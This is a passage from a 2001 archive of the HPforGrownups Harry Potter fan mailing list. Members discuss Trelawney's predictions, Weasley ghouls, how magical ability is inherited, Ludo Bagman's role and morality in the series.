I always thought that Books 1 and 2 were setting us up for the duel in Book 4, which was definitely an interesting twist on the dueling theme.  I think it's possible that we'll see dueling again in future books, but it might seem a little overdone if JKR makes dueling a major part of them.

Devika :) 




From cynthiaanncoe at home.com  Tue Sep  4 13:40:56 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 13:40:56 -0000
Subject: Professor Trelawney Scorecard?
In-Reply-To: <9n293m+43fj@eGroups.com>
Message-ID: <9n2ll8+mr4m@eGroups.com>

No: HPFGUIDX 25517

--- In HPforGrownups at y..., catherine at c... wrote:
> I've just read Luke's superb post on references to the Grim.  
> Excellent, but I am not sure I totally agree that Professor 
Trelawney 
> is a complete fraud.
> 
> Firstly, she does have some psychic poweres, as she has had at 
least 
> two real predictions that we know of.


Good point.  If we are going to determine whether Trelawney is a 
fraud or not, we need to compare a list of her correct predictions 
versus her incorrect ones.

So far, Catherine has listed a few:

Lavendar's rabbit -- True
The Grim, tea leaves -- True
The Grim, crystal ball -- True
Voldemort will return -- True

A few others come to mind:

Hermione will leave class -- True
People born in July are "in great danger of sudden violent deaths" -- 
True (Well, maybe.  Harry certainly was in great danger in GoF.)
Harry was born in mid-winter -- False
"The thing [Harry] dreads will indeed come to pass" -- True

So far, Trelawney's not doing too badly.  This list isn't 
comprehensive (I don't have time to review all of T's predictions 
right now).  Can anyone help?
 
Cindy






From heidi.h.tandy.c92 at alumni.upenn.edu  Tue Sep  4 14:14:01 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Tue, 4 Sep 2001 10:14:01 -0400 
Subject: [HPforGrownups] Ghoulish musings
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B55@MIAEXCH1>

No: HPFGUIDX 25518

Tabouli wrote:
> mellinell:
> > who thinks the Weasleys' ghoul is a red herring, and who 
> thinks it will play a role later on? I'm divided, myself.
>  
> Hmm, hadn't thought about this much.  I think I'd filed the 
> Weasley ghoul under "atmospheric touch" and dismissed it.  
> But yes, it certainly could be relevant later.  Does anyone 
> on the list know what ghouls are, exactly?  Somewhere between 
> a ghost and a demon?
> 


JKR has answered this in Fantastic Beasts - ghouls are slimy, buck-toothed,
ugly creatures which live in attics or barns of wizards. They are dim-witted
and are content to throw things around now and then. Ghouls are relatively
harmless creatures who live on spiders and moths. (thanks to Steve's
Lexicon, always useful when one's books are at home...)



From vderark at bccs.org  Tue Sep  4 14:30:23 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Tue, 04 Sep 2001 14:30:23 -0000
Subject: Ghouls
In-Reply-To: <003c01c13540$64096180$5e1d6fcb@price>
Message-ID: <9n2ohv+g4lv@eGroups.com>

No: HPFGUIDX 25519

--- In HPforGrownups at y..., "Tabouli" <tabouli at u...> wrote:
> mellinell:
> > who thinks the Weasleys' ghoul is a red herring, and who thinks 
it will play a role later on? I'm divided, myself.
>  
> Hmm, hadn't thought about this much.  I think I'd filed the Weasley 
ghoul under "atmospheric touch" and dismissed it.  But yes, it 
certainly could be relevant later.  Does anyone on the list know what 
ghouls are, exactly?  Somewhere between a ghost and a demon?

A ghoul is a rather dim, ugly creature which is basically harmless. 
The complete description is in Fantastic Beasts, but you can also 
read about them in the Lexicon at:

http://www.i2k.com/~svderark/lexicon/bestiary_c-g.html#ghoul

Related resources:
The Burrow
http://www.i2k.com/~svderark/lexicon/w_pl_burrow.html
The Weasley family
http://www.i2k.com/~svderark/lexicon/weasley.html

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From litalex at yahoo.com  Tue Sep  4 13:45:57 2001
From: litalex at yahoo.com (Alexandra Y. Kwan)
Date: Tue, 4 Sep 2001 21:45:57 +0800
Subject: [HPforGrownups] Inheritance of Magical Abilities
References: <9n2hp8+s7tp@eGroups.com>
Message-ID: <000001c13550$1ee0f680$c106bacb@hal9000>

No: HPFGUIDX 25520

Hello,

From: <mdconnolly at hotmail.com>
> Apologies if this question has been asked before, and if it has could
> somebody please point me in the direction of the original message.

...I don't think I'd be able to.  I know these topics had turned up in the
past, but I don't know when or which messages.  Try searching the archive...
Or not, since it's so *huge*.

> Hermione's parents are both Muggles, whereas she is a witch. So how
> come she was born with magical powers? Is it a recessive gene? Also

That has been proposed.  Personally I think it's a whole bunch of genes.

> if witches can be born to Muggles, then can Muggles be born to
> witches?

Squibs, Martin, squibs <g>.

little Alex


_________________________________________________________
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From magpie1112 at yahoo.com  Tue Sep  4 14:39:58 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 14:39:58 -0000
Subject: Is Ron a seer?
In-Reply-To: <9mrf0a+5lss@eGroups.com>
Message-ID: <9n2p3u+fkp4@eGroups.com>

No: HPFGUIDX 25521

--- In HPforGrownups at y..., pegasus0580 at y... wrote:
> I also noticed that Mrs. Weasley seems to have some kind of power 
> too.  She knew that Fred and George had their joke merchandise in 
> their pockets when they were going to the Quidditch World Cup, and 
> therefore confiscated it.  Or is it that she just knows them well 
> enough to know what they are up to?

I have to agree with the prior posts about Mrs. Weasley's Mom-power; 
but having said that, I've always thought that Mrs. Weasley has more 
to her than just being Ron's mum.  I'm hoping that beneath it all, 
there is quite a powerful witch.  I can't back it up with anything in 
cannon, but I think she's the more powerful of the Parents Weasley.




From magpie1112 at yahoo.com  Tue Sep  4 14:59:09 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 14:59:09 -0000
Subject: Wizard demographics?
In-Reply-To: <3.0.5.32.20010903001632.009e9b00@di.org>
Message-ID: <9n2q7t+nbng@eGroups.com>

No: HPFGUIDX 25522

--- In HPforGrownups at y..., Elbereth <elbereth at d...> wrote:
> frantyck at y... wrote:
> >You know, the idea of a wizarding school in New York City sounds 
> >great. Probably wouldn't surprise New Yorkers much. A great big 
> >warehouse (tall enough for Quidditch) or a large, nondescript 
> >building with no visible entrance...
> >
> >Or Canada. On some craggy coast. Arrr.
> 
> No reason why there couldn't be several in the States, and at least 
> one here in Canada -- I think I'd favour Newfoundland or Labrador, 
> or hidden in the Rockies, or in the middle of the Prairies, or up 
> in the Territories, or ...  Come to think of it, any place fairly 
> remote from the Muggles would work fine!  


It could be that North Am. is home to many small schools.  I'd think 
there would be smaller schools scattered throughout Canada, Mexico 
and the US.  But in terms of a big, "important" school (to rival 
Hogwarts) I'm banking on Canada.  There's lots of space to tuck away 
a large wizarding school in the western areas of Canada, so it would 
be perfect.  And since Hogwarts is probaby in Scotland rather than 
England, I'd bet a North Am. school would also be up north.  It would 
still give us Americans all kinds of possibilites with the smaller 
schools (surfer wizards in Santa Cruz, CA!  "traditionalist" witches 
in Salem, MA!)  Just a thought.


(non-text portions removed)





From jkusalavagemd at yahoo.com  Tue Sep  4 15:06:49 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Tue, 04 Sep 2001 15:06:49 -0000
Subject: The Case Against Ludo Bagman
In-Reply-To: <9n1p90+6lcq@eGroups.com>
Message-ID: <9n2qm9+pa1b@eGroups.com>

No: HPFGUIDX 25523

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:

> I took another look at Bagman in GoF, and now I'm REALLY convinced 
he 
> is not a minor character or just an affable idiot bungling through 
> the wizarding world.
>.
> 
> Also, there's no reason to believe Fred and George's explanation
for 
> Bagman's absence after the third task.  They state (Ch. 37) that 
> Bagman had a bet on Harry, and Bagman ran from the goblins.
> 
> This doesn't make sense.  First, how would Fred and George know 
> Bagman bet on Harry?  Well, Bagman could have told them.  But why?  
> He was always careful to conceal his efforts to help Harry
(lowering 
> his voice to a whisper, etc).  And it isn't logical that the Head
of 
> Magical games, who is also a judge, would up and tell F and G (or 
> anyone else) that he is cheating to help a contestant.  

> But let's say F and G heard this information some other way, and 
> Bagman really did bet on Harry.  The second problem is F and G say 
> the goblins play dirty and considered the result of the tournament
a 
> tie and refused to pay Bagman, so that's why he fled.  (They offer 
no 
> explanation for how they know this.)  

> 
> Finally, Harry had a dream (beginning of Ch. 9) in which Bagman 
> appears and delivers the following line:  "I give you . . .
Potter!" 
 
> 
> Cindy (wishing someone -- anyone-- cared about Bagman as much as
she 
> does)

I really enjoyed your analysis, Cindy.  I had thought that Bagman 
served simply to offer a false target of suspicion to confuse the 
situation with respect to Crouch, Sr. and Jr.  However, you still do 
not account for F&G having the knowledge that they do in your 
scenario, where Bagman is a Death Eater.  It might have been JKR 
trying to finesse an explanation about a character to whom she would 
not be returning, since his raison d'etre (deflecting suspicion from 
the Crouches) was no longer necessary.  I am most interested in your 
response.

Haggridd




From snyderm at engr.sc.edu  Tue Sep  4 15:11:06 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Tue, 4 Sep 2001 11:11:06 -0400 
Subject: [HPforGrownups] Inheritance of Magical Abilities
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789AA1@mailbox.engr.sc.edu>

No: HPFGUIDX 25524

JKR answered this question in an interview.  I believe she said that it was
just something that popped up.  Also, Ron said in one of the books that they
[wizards] has to intermarry or they would die out.  So, Yes, it could be a
recessive trait.  If it was simply a case of genes, wouldn't there be more
squibs than we are led to believe?

Leslie

-----Original Message-----
From: mdconnolly at hotmail.com [mailto:mdconnolly at hotmail.com]
Sent: Tuesday, September 04, 2001 8:35 AM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] Inheritance of Magical Abilities


Apologies if this question has been asked before, and if it has could 
somebody please point me in the direction of the original message.

Hermione's parents are both Muggles, whereas she is a witch. So how 
come she was born with magical powers? Is it a recessive gene? Also 
if witches can be born to Muggles, then can Muggles be born to 
witches?

Thanks,
Martin.



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From magpie1112 at yahoo.com  Tue Sep  4 15:19:57 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 15:19:57 -0000
Subject: ghoul in the attic.
In-Reply-To: <9mvg63+eu51@eGroups.com>
Message-ID: <9n2ret+gmb0@eGroups.com>

No: HPFGUIDX 25525

--- In HPforGrownups at y..., mellienel2 at y... wrote:
> question --
> 
> who thinks the Weasleys' ghoul is a red herring, and who thinks it 
> will play a role later on? I'm divided, myself.
> 
> m.


My knee-jerk reaction is to say that it's just a cute little red-
herring; one that was created to describe the Weasley house rather 
than to amount to anything.  Since we first hear of it in CoS, when 
Harry first enters The Burrow, at first glance the ghoul seems to be 
a way to distance Harry from the Muggle world (clocks that tell 
you "you're late" rather than the time, gnomes in the garden, a ghoul 
in the attic).

OTOH, with the choosing-of-sides/Good-vs-Evil that is briefly touched 
on in GoF, having a ghoul in the attic may be a dangerous thing, 
indeed.  If ghouls align themselves with Voldemort, there is no 
telling what may happen in (or to) The Burrow (or, heaven forbid, to 
the inhabitants).  Unless he's a ghoul with a heart o' gold - but 
what's the chance of that?

Denise (who is never, ever going into the attic)




From keegan at mcn.org  Tue Sep  4 15:19:51 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Tue, 04 Sep 2001 08:19:51 -0700
Subject: [HPforGrownups] Re: Wizard demographics?
In-Reply-To: <9n2q7t+nbng@eGroups.com>
References: <3.0.5.32.20010903001632.009e9b00@di.org>
Message-ID: <4.2.0.58.20010904080923.009eab70@mail.mcn.org>

No: HPFGUIDX 25526

At 02:59 PM 9/4/01 +0000, you wrote:
>--- In HPforGrownups at y..., Elbereth <elbereth at d...> wrote:
> > frantyck at y... wrote:
> > >You know, the idea of a wizarding school in New York City sounds
> > >great. Probably wouldn't surprise New Yorkers much. A great big
> > >warehouse (tall enough for Quidditch) or a large, nondescript
> > >building with no visible entrance...
> > >
>It could be that North Am. is home to many small schools.    It would
>still give us Americans all kinds of possibilites with the smaller
>schools (surfer wizards in Santa Cruz, CA!  "traditionalist" witches
>in Salem, MA!)  Just a thought.

Hmm.  My mental picture of US Wizardry is not the same as the UK 
version.  The UK wizard population seems to be in little enclaves or tucked 
on the edges of  small villages (except Hogsmeade, of course).  I think the 
US wizards live among the muggles.  But, to have a Quidditch team, you'd 
have to have your schools tucked away.  Or, have an enclosed playing 
field.  Aren't there a lot of private schools on the east coast?  Salem 
must surely have one around.  I can easily see one tucked into Big Sur or 
somewhere around the northern west coast.

One of the things I found myself wondering was whether the muggle 
authorities know about the wizards at all?  When the kids are born, are 
they born in a hospital and therefore acknowledged in the bureaucratic 
paperwork or are all of the legalistic bits kept within their 
society?  There was a bit where Fudge had notified the British Prime 
Minister about Sirius.  I wonder what the PM thought about the Minister of 
Magic?  Or, does that just fit into the rest of the British political system?

Hmmm, too many things to ponder.  I'm hoping the HOL's history of magic 
class tries to answer some of the questions.  They still haven't posted the 
class rosters yet!

Catherine
Albion, CA
Albion Works
Furniture, Clothing, and Accesories
For the Medievalist!
www.albionworks.net



From snyderm at engr.sc.edu  Tue Sep  4 15:22:19 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Tue, 4 Sep 2001 11:22:19 -0400 
Subject: [HPforGrownups] Re: (Corrected) right & wrong in the Potterve
	rse
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789AA2@mailbox.engr.sc.edu>

No: HPFGUIDX 25527

I maybe reading this wrong, but one misconseption I would like to make is
that one does not believe in God or follow religion strictly (if at all) out
of fear.  As a person of faith myself, I believe in a higher power because I
am led to believe in it.  Logically, it makes sense to me, but that is an
entirely different discussion.  Furthmore, I do good (I say "I," but din't
think I am alone here) because I want to please my God, not out of fear for
Him.  It is a sort of worship, if you will.  

I agree that H/R/H/etc. are guided by fear of consequenses.  I think all of
us are.  These consequences are those imposed on us by man, not by a belief
in a higher power.  I think even Malfoy is guided by a certain fear.  The
fear of what his parents will think of him, even what is friends will think
of him.  If he came out as soft on mudbloods and muggles, what would be his
consequences?  

Leslie

-----Original Message-----
From: fourfuries at aol.com [mailto:fourfuries at aol.com]
Sent: Monday, September 03, 2001 9:13 PM
To: HPforGrownups at yahoogroups.com
Subject: [HPforGrownups] Re: (Corrected) right & wrong in the
Potterverse


CORRECTING THE PREVIOUS INADVERTENT POST

--- In HPforGrownups at y..., usergoogol at y... wrote:
> 
> > >Draco is that person that we would all like to be if there were 
no 
> > >EternalGod/BhuddhaNature/AbsoluteTruth/Ultimate Justice to 
> > >fear.  
> 
> To this, I must take offense, as a moral atheist. I believe, that
> people, without any of those above things, can be kind, merely
> because, it is a logical thing to do. (If your kind to people,
> people will be kind to you.) Also, doing mean and violent acts is
> not comfortable to do if you feel a sort of "mutual feelings," or,
> empathy.  {SNIP} Sorry if I was OT, but I was just offended by the
> (sadly popular) claim, that people will only be good, if they fear
> being punished. Some people are good just because they are plain
> nice.


"Heh, heh, heh, heh.  Welcome to my parlor, said the spider to the 
fly...".

There is no need for offense at the notion that people 
behave "better" when there is something at stake, be it reward or 
punishment. In fact, we agree that logic is at the heart of moral 
decision making.  Where we disagree is whether anyone would ever 
behave well if they perceived no reward for their good behavior, or 
whether they would refrain from bad acting if there were no threat or 
fear of punishment.

To keep this on topic, consider all the times that Harry and Ron 
refrain from certain acts because they fear being expelled. They time 
their late night excursions to avoid discovery, use an invisibility 
cloak, bite their respctive tongues in front of Snape and generally 
stay just inside the "law" for one reason only:  they fear being put 
out! Draco, on the other hand, has no fear of expulsion, and does 
exactly as he pleases, breaking far fewer rules than Harry.  So who 
is good and who is evil, no one?

Or, more to the point, can we say that Voldemort is evil, if there is 
no objective and absolute standard by which to judge?  In the absence 
of some enduring standard of truth and good behavior, isn't 
Voldemort's view that "there is no right and wrong, only power and 
those too weak to use it" the effective standard of behavior?  Why is 
Dumbledore's "leadership by kindness" of any greater value than 
Voldemort's "leadership by terror"?

Clearly, Voldemort's brand of leadership is more dramatic and, in the 
short run, more effective.  There is no way that Cornelius Fudge 
would have second guessed a Voldemort style Hogwarts Headmaster.  
Why, he barely could control himself in the face of Lucious Malfoy in 
CoS and PoA.  Not only that, Voldemort believes himself to be fair, 
kind and full of grace, as evidenced by the dueling with Harry, the 
promise and fulfillment of a new arm for Pettrgrew, the mercy 
and "forgiveness" he showed the returning Death Eaters, the justice 
he intends to meet out on Karkaroff and Snape, and the rewards he 
intends to bestow on the LeStranges and his "true" follower, Barty 
Crouch Jr.

The "sad" fact is that people always perceive themselves as kind, 
good or at least justified in their willful acts.  We all tend to 
serve our own self-interest.  That self-interest may be informed or 
uniformed, enlightened or unenlightened, but it is always directed at 
personal justification and gratification.  So the question is not 
whether people need incentives to be good, the question is whether 
there is an objective standard by which to judge.

Now, as an atheist, you may say that good is what the majority of 
society will agree is good.  Unfortunately, the majority of two 
recent societies thought that the mass execution of Jews and the 
arbitrary enslavement of Africans was okay, so majority rule cannot 
be the standard if minorities are to have any rights at all 
(remember "Blacks today, Blondes tommorrow!").

So we teach our children through literature, art, music, philosophy 
and religion that "what goes around, comes around", in order to 
inculcate them with a self-policing mechanism for their otherwise 
self-indulgent inclinations.  Again, Dumbledore says that goodness 
and rightness are functions of observing self-imp-osed limits on the 
actions we COULD take ("it is our actions..".  Voldemort recognizes 
no such limits, nor any such standard.

If there is no Absolute Truth, or if we are merely incapable of 
discovering it, then all that remains is "power, and those too afraid 
to use it."  I prefer t delude myself into thinking my right actions 
are admired by an eternal and impartial judge, or that, at the very 
least, "what we do echoes in eternity."

4FR (thrilled that these questions can be debated online)



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From snyderm at engr.sc.edu  Tue Sep  4 15:33:26 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Tue, 4 Sep 2001 11:33:26 -0400 
Subject: [HPforGrownups] Observations and Questions
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789AA3@mailbox.engr.sc.edu>

No: HPFGUIDX 25528

Here is my two cents for some of your questions

-----Original Message-----

SS/PS Ch.5
Hagrid says "There's not a single witch or wizard who went bad who wasn't in
Slytherin".
Rephrased, that's "Every witch/wizard who became evil was in Slytherin."
But we know that's simply not true. Whether you take it from Hagrid's
perspective or from the truth, there's at least one evil wizard from
Gryffindor (Sirius Black or Peter Pettigrew). So why did Hagrid say that?
I'm guessing that JKR didn't have the plot of Book 3 planned out at this
point.

	I agree with several of the other replys that say that this is just
a Hagrid generalization.  The reason why JKR's 	writing is so appealing is
because it is so real.  Who, in their real life, doesn't make
generalizations?  


CoS (General)
The only note I made about this book is "Why is Snape so friendly with Draco
Malfoy, and vice versa?"
Lucius must hate Snape for betraying Voldemort, and he's on that board that
controls the school, so there's a very good chance that he knows Snape
teaches there. Perhaps Lucius hasn't told his son about Snape.
But that still doesn't explain why Snape likes Draco and is so lenient with
him.
	
	We like those who remind us of ourselves.  Maybe Malfoy reminds
Snape of a younger version of himself.  Also, we don't 	know how much
Lucious reveals to his son.  If Lucious did suspect Snape, maybe he never
shared this with his son.  	Furthermore, do we know that he even
suspected Snape before the meeting of the Death Eaters in GoF?  Maybe,
nobody knew
	that snape was a spy.  Maybe Lucious just thought that he lied his
way back into society just like him.

PoA Ch.3
Dementors seem to literally suck the happiness out of an area. Silly
question, but what's their range, anyway?
	
	Don't know, but it doesn't seem to be that long.

PoA Ch.10
"Dementors are supposed to drain a wizard of his powers if he is left with
them too long" -Lupin
This implies that Voldemort's supporters, who have been in Azkaban for quite
a while, may not be very useful when Voldemort frees them.
	
	Yes, but it might be reversable.  

PoA Ch.10
I know, it's been mentioned before, but how *did* Filch get the Marauder's
Map?
	
	He took it way from James, Lupin, Sirius, and Peter.  Recall in PoA
that Lupin say that he happens to know that this 	map was confiscated
several years ago (paraphrasing).  How did he know?  He was there.


PoA Ch.11
The Sneakoscope goes off when Crookshanks is chasing Scabbers. It's probably
safe to assume that Scabbers/Wormtail is the untrustworthy one.
	
	Yes, I think you are right.

GoF Ch.25
This isn't the first time that someone has waited outside the Gryffindor
common room to let Harry out at night. So if the portrait can't be opened
from the inside, how the heck do they get out in the morning?

	I agree with the previous posts.  All those times somebody waited
for him was when he was wearing is invisibility 	cloak.  They opened
the door so he could sneak through undetected.




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From absinthe at mad.scientist.com  Tue Sep  4 15:35:37 2001
From: absinthe at mad.scientist.com (Milz)
Date: Tue, 04 Sep 2001 15:35:37 -0000
Subject: Is Professor Trelawney a fraud?
In-Reply-To: <9n293m+43fj@eGroups.com>
Message-ID: <9n2sc9+rhrt@eGroups.com>

No: HPFGUIDX 25529

--- In HPforGrownups at y..., catherine at c... wrote:
> I've just read Luke's superb post on references to the Grim.  
> Excellent, but I am not sure I totally agree that Professor 
Trelawney 
> is a complete fraud.
<big snip> 
> This makes me think that JKR is playing a game with us - she is 
> letting Professor Trelawney get just enough right for us to worry 
> about whether it was Ron or Harry who got up first from the 
Christmas 
> dinner table.  If this is true, and everyone has money on 
Dumbledore 
> dying before the end of the series, he cannot be the first to die, 
as 
> Harry and Ron left the table before him.  In that case, my money 
has 
> to be on Ron.  Make sense?

I share your suspicions that JKR is playing a game with us. She's 
devoting a little too much book time to debunk divination. 

In the very first book, Rowling began planting the seeds of doubt 
about divination. Specifically, the part where Harry tells Hermione 
about the Centaur's prophecies. Hermione immediately dismisses it by 
saying something like Professor McGonagall says divination is 
inaccurate. Then throughout PoA, we are bombarded with the faults of 
divination. Again, it makes me suspicious.

As to who rose first from the table, IIRC Harry and Ron rose at the 
same time. So maybe they get killed at the same time? Or maybe 
the "death" is a symbolic death such as the "death of innocence". 

Milz




From CollectiveSIAS at aol.com  Tue Sep  4 15:40:58 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Tue, 4 Sep 2001 11:40:58 EDT
Subject: test message
Message-ID: <15.1a1d017c.28c6500a@aol.com>

No: HPFGUIDX 25530

this is just a test message please excuse


[Non-text portions of this message have been removed]




From caliburncy at yahoo.com  Tue Sep  4 15:45:43 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Tue, 04 Sep 2001 15:45:43 -0000
Subject: Observations and Questions
In-Reply-To: <9n1heu+759k@eGroups.com>
Message-ID: <9n2sv7+nm63@eGroups.com>

No: HPFGUIDX 25531

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> In PS/SS, Hagrid does not yet know 
> that Black was the Potters' secret keeper and allegedly betrayed 
> them.  Recall that in PoA, Hagrid learns this in a conversation with 
> Fudge/Rosemerta/McGonnagal, etc.

I'm not so sure about this.  In the conversation in PoA (the 
Marauder's Map chapter), there is nothing to indicate that this was 
the first time Hagrid learned that Black was the secret-keeper.  He 
says he didn't know at the time when he met Black at the Potter's 
house, but that's all.  He probably did know this by the time he 
picked up Harry from the Dursley's eleven years ago.  It seems to me 
his outburst in PoA is not from surprise, but a festering knowledge.  
And Madame Rosmerta is the only one to whom this knowledge appears to 
be brand new.

In any case, for the grander question that's being answered here:
Like Marcus was saying, we can't rely on generalizations that the 
characters make.  This is part of what I call the Authorial Theory of 
Misinformation (maybe I'll write another essay later)--which basically 
means the rules an author sets for themselves about how and when the 
characters are allowed to say things that aren't true.  We know a 
little bit about JKR's theory in that she has clearly stated that some 
characters lie, such as when Tom Riddle said Hagrid raised werewolf 
cubs under his bed, and in an interview JKR said that Riddle was just 
slandering Hagrid and that wasn't really true.  We also have reason to 
 believe that her characters do make sweeping generalizations like 
this one that Hagrid makes and that that doesn't necessarilly 
indicate absolutism.

-Luke




From magpie1112 at yahoo.com  Tue Sep  4 15:49:15 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 15:49:15 -0000
Subject: auxiliary books
In-Reply-To: <9mvigh+feat@eGroups.com>
Message-ID: <9n2t5r+70ke@eGroups.com>

No: HPFGUIDX 25532

--- In HPforGrownups at y..., g_keddle at y... wrote:
> --- In HPforGrownups at y..., Evilonewon at a... wrote:
> > In a message dated 08/30/2001 10:52:43 AM Eastern Daylight Time, 
> > HPforGrownups at y... writes:
> > 
> > > > I do think we could have some further 'auxiliary' books like 
> QTTA. 
> > > 
> > > Maybe a Muggle Studies textbook, explaining why Muggles would 
be 
> > > utterly bewildered by aspects of the Wizarding World the wizard 
> > > community just takes for granted.  > > 
> 
> > If there are any more companion volumes, I'd really like to 
> read "The History 
> > of Magic".  
> 
> 
> The next auxiliary book to come out MUST be "Hogwarts, A History"!! 
> How could there be any doubt?
> 
> Gert


Oh, I'd love "The History of Magic" AND "Hogwarts, A History"!!  But 
then again, I've always been greedy! <g>  But if I had to pick an 
auxiliary book, I'd love an official cookbook!  My mouth waters every 
time JKR describes a feast!




From cynthiaanncoe at home.com  Tue Sep  4 15:55:46 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 15:55:46 -0000
Subject: The Case Against Ludo Bagman
In-Reply-To: <9n2qm9+pa1b@eGroups.com>
Message-ID: <9n2ti2+anin@eGroups.com>

No: HPFGUIDX 25533

Haggridd wrote:

 
> > However, you still do 
> not account for F&G having the knowledge that they do in your 
> scenario, where Bagman is a Death Eater.  


If I understand your question, you're wondering where F&G get their 
information that Bagman is gambling, that he placed a bet on Harry, 
and that he is in trouble with the goblins.  

F&G hint (last chapter of GoF) that they learn this from Lee Jordan's 
dad, to whom Bagman also owes money.  So F&G genuinely believe that 
Bagman fled due to his gambling problem, and their conclusion is 
reasonable based on the limited information they have, but I think 
they are wrong.  

I do think F&G are correct when they say that Bagman placed a bet on 
Harry. Recall that F&G were thinking of blackmailing Bagman.  What 
information could F&G have that would make for an effective 
blackmail?  It must be the bet on Harry.  It can't be just that 
Bagman didn't honor his bet with F&G.  That hardly seems substantial 
enough to support a blackmail threat.

Anyway, if I missed the target by misunderstanding your question, let 
me know, and I'll try again.

Cindy (feeling better now that the number of people interested in 
Bagman has doubled)




From magpie1112 at yahoo.com  Tue Sep  4 16:11:54 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 16:11:54 -0000
Subject: Where can Harry go?
In-Reply-To: <20010903173433.26904.qmail@web14201.mail.yahoo.com>
Message-ID: <9n2uga+fq8n@eGroups.com>

No: HPFGUIDX 25534

--- In HPforGrownups at y..., Kelly Hurt <klhurt at y...> wrote:
> Godric's Hollow
> Ministry of Magic
> Azkaban
> Malfoy's house
> St. Mungo's Hospital***
> Egypt
> Romania
> Durmstrang
> Beauxbatons
> Hermione's house
> Other schoolmate's house
> Lupin's house
> Chamberpot Room (or other castle area)
> the future
> Smeltings
> Aunt Marge's
> 


I think that specific to the MoM, Harry will pay a visit to the 
Department of Mysteries.  According to JKR (in FB&WTFT) the DoM is 
the ONLY Department within the MoM that doesn't answer to the 
Department of Magical Law Enforcement.  And with all the Voldemort 
action to come, it seems a likely visit.  

I think that the Centaur Liaison Office may come into play as well.  
In FB&WTFT, the CLO is said to be a dead end because of the lack of 
centaur interest.  That may change with the choosing-of-sides (for or 
against Voldy) in coming books.

And what about the International Confederation of Wizards?  I think 
JKR will draw quite extensively from her current aux. books in order 
to keep future books from running over with background info.


> ***I think this is very likely.  In an interview, JKR was asked 
> where Lockhart is now.  She answered St. Mungo's.  When asked if we 
> would see him again, she said "I can't tell you that" which sounds 
> like a 'yes' to me.  If the Trio goes to the hospital, they might 
> also see the Longbottoms.


I'd really like to see Harry visit St. Mungo's.  And if there is any 
way to cure Mr. & Mrs. Longbottom I'd rejoice.  I get misty every 
time I read about them.... 






From cynthiaanncoe at home.com  Tue Sep  4 16:25:59 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 16:25:59 -0000
Subject: Observations and Questions
In-Reply-To: <9n2sv7+nm63@eGroups.com>
Message-ID: <9n2van+fski@eGroups.com>

No: HPFGUIDX 25535

--- In HPforGrownups at y..., caliburncy at y... wrote:
> > 
> And Madame Rosmerta is the only one to whom this knowledge appears 
to 
> be brand new.
> 

Good point, and I stand corrected.  The better explanation is the one 
you and others give.  

It is amusing, though, that Fudge says the worst Black did isn't 
widely known, yet Rosemerta seems to be the only one in the dark.  
Even Stan and Ernie on the Knight Bus knew.  

Also, it's hard to believe Hagrid didn't spill the beans to Rosemerta 
over the years.  It also struck me as odd that the Minister of Magic 
chooses to reveal something that isn't widely known in a crowded bar 
for the sole purpose of enlightening a barkeep.  But then again, I 
couldn't think of anyone else JKR could have used instead of 
Rosemerta for this purpose, so I guess that's the best one can do 
with it.  

Cindy




From magpie1112 at yahoo.com  Tue Sep  4 16:27:42 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 04 Sep 2001 16:27:42 -0000
Subject: Harry and Ginny
In-Reply-To: <9n0q77+8dsb@eGroups.com>
Message-ID: <9n2vdu+reki@eGroups.com>

No: HPFGUIDX 25536

--- In HPforGrownups at y..., KayandJay1 at M... wrote:
> What do you think about Harry and Ginny?  I think 
> that they will sometime find out that the like each other
> Josie Lillia Potter

Hi Josie!

Hoo Boy - my favorite topic!  Gotta love that H/G ship!  And, I'm a 
big fan of the "One Big Happy Weasley Family" idea as well 
(Ron/Hermione and Harry/Ginny).  But as with other posts on this 
topic, I think that Harry will take a while before he realizes (or 
acts on) any feelings for Ginny.  

It will be interesting to see how it plays out - we've already seen 
the "You're a girl"/"Well spotted" Yule Ball transformation scene 
with Hermione, so I doubt that JKR will have a similar "Ooh, look - 
Ginny's a girl!  And she's pretty, too!"  type of scene with H/G.  
Been done.  

My thoughts are that Harry will grow to love Ginny, and may even have 
to fight for her in later books if Ginny gives up on Harry and tries 
to find somebody "attainable".  Neville, perhaps?  Draco seems 
farfecthed, due to his deep-seated hatred of the "Muggle-loving" 
Wesleys.




From illandaria at mailbreak.com  Tue Sep  4 16:30:08 2001
From: illandaria at mailbreak.com (Shannon)
Date: Tue, 04 Sep 2001 12:30:08 -0400
Subject: [HPforGrownups] Inheritance of Magical Abilities
In-Reply-To: <9n2hp8+s7tp@eGroups.com>
Message-ID: <20010904163050.9375414A109@smtp1.hmcltd.net>

No: HPFGUIDX 25537

> Hermione's parents are both Muggles, whereas she is a witch. So how 
